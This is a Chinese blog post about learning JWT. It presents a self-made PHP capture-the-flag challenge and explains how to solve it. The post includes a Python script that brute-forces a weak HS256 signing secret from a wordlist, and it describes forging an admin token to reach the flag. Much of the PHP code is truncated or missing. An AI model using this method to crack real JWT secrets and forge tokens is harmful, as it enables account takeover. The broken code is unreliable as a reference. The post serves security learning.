关于JWT的学习

0x00 JWT的介绍:

请参考博客:阮一峰的网络日志

0x01 使用PHP实现JWT签名与认证:

整个签名认证我变成了一个小的CTF题目,全部文件如下:

  1. 登录页面:index.html



    
    系统登录




通过登录页面输入账号密码,到服务器端进行验证,生成一个Token返回到cookie中。
2. 认证管理页面:index.php

get_token($str),$end_time,"/","localhost",false,true);
    echo "悄悄告诉你,只有admin管理员才可以看327a6c4304ad5938eaf0efb6cc3e53dc.php";
}
?>

  1. 关键的JWT的token生成与签名校验:jwt.class.php
 time() || isset($payload['nbf']) && $payload['nbf'] > time())
            return 3;  //令牌时间配置出问题

        //过期时间小宇当前服务器时间验证失败
        if (isset($payload['exp']) && $payload['exp'] < time())
            return 4;   //令牌过期
    }

    public function get_verify_Token($token){
        $flag=self::verify_Token($token);
        return  $flag;
    }
    /***************自定义Token验证模块结束*************/
}


这里遇到一个坑,就是关于处理的字符串不是二进制字节流,导致签名与官网签名不一致。所以处理的字符最好先进行utf8-encode编码一下。
4. flag控制界面:327a6c4304ad5938eaf0efb6cc3e53dc.php

get_verify_Token($token); //输入token值进行校验
    if ($flag===0 || $flag===1){
        echo "请不要篡改token参数!";
        exit(0);
    }elseif ($flag===4){
        echo "令牌已经失效,请重新登录!";
        exit(0);
    }elseif ($flag===3){
        echo "请不要篡改令牌数据!";
        exit(0);
    }else{
        $check=json_decode($flag,JSON_OBJECT_AS_ARRAY);
        if($check['username']==="admin" && $check['status']==="1"){
            echo "恭喜获得flag:".$ttctf;
            echo "
现在知道JWT的作用了吗???"; exit(0); }else{ echo "你不是管理员,我啥都不会给你看的!"; } } }
  1. 这个小的CTF题的解题逻辑:
    1、首先通过输入账号密码登录系统,获取到一个用于签名认证的Token,然后访问flag页面,发现说要管理员才能获取flag。
    2、将Token放入官方的验证页面进行验证,会发现payload的内容就是你的登录名,状态码,与签名的时间参数。
    3、关于JWT可能存在的问题包括:未进行签名验证,使用弱口令进行签名验证等等,这里可以本意是弱口令签名。(未进行签名验证指重新将token发回服务器进行认证时,没有对payload或header与payload的组合进行签名验证,这样就送payload被篡改也不存在认证问题)
    4、使用脚本爆破签名弱口令:
# -*-coding: utf-8 -*-
import jwt   #导入jwt数据包
import base64
import json
import hashlib

'''
关于jwt异常:
jwt.ExpiredSignatureError   因为签名时间过期导致的解密异常
jwt.InvalidIssuerError   签发人错误
jwt.InvalidAudienceError  受众错误
jwt.InvalidIssuedAtError  签发时间错误

jwt.InvalidSignatureError   密钥错误
'''
def crack():
    payload=R"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWkiLCJzdGF0dXMiOiIwIiwibmJmIjoxNTY2NjM0Nzc1LCJleHAiOjE1NjY2MzUwNzUsImlhdCI6MTU2NjYzNDc3NX0.KUZluw8hjufZEGsOG03LLUuMuyODQ_Esj3VGOOryFS8"
    with open(r"................\一些字典\top100.txt","r") as fp:
        for each_line in fp:
            each_line=each_line.strip()
            try:
                flag=jwt.decode(payload,key=each_line,verify=True)
                print(flag)
                print(each_line)
            except (jwt.exceptions.ExpiredSignatureError,jwt.exceptions.InvalidIssuerError,
                    jwt.exceptions.InvalidAudienceError,jwt.exceptions.InvalidIssuedAtError,
                    jwt.exceptions.ImmatureSignatureError):    #捕获这些异常说明密钥正确,只是这个Token的结构或其他存在问题,出现异常
                print("\tfind the right key"+each_line)
                fp.close()
                break
            except jwt.exceptions.InvalidSignatureError:  #出现密钥错误进入下一个密钥
                pass
def sign():
    head={"alg":"HS256","typ":"JWT"}
    head=json.dumps(head)
    payload={"iss":"PM250","iat":"1566557370","exp":"1566559170","aud":"www.hnust.fun","iti":"1","user":"admin"}
    payload=json.dumps(payload)
    head=base64.b64encode(head.encode("utf-8"))
    payload=base64.b64encode(payload.encode("utf-8"))
    tmp=head+'.'.encode("utf-8")+payload
    print(jwt.encode({"user":"admin","action":"upload"},"123456"))
crack()
sign()

此处sign函数是学习pyjwt的时候写上去的,此处有一个坑就是pyjwt签名通常只签paylaod,而不是签名二者的组合。然后一个疑问就是:将上面php代码生成的签名Token放入pyjwt的签名校验函数,居然能够正常校验,骚操作,有一点不明白。
5、通过加载字典爆破弱口令签名密钥。
6、通过密钥,伪造admin管理员Token,向flag界面发起请求,成功获得flag。

  1. 完结撒花:
    通过这个主要熟悉了关于JWT的一些知识,也了解了PHP与PYTHON如何生成与验证JWT签名的。

你可能感兴趣的:(WEB安全)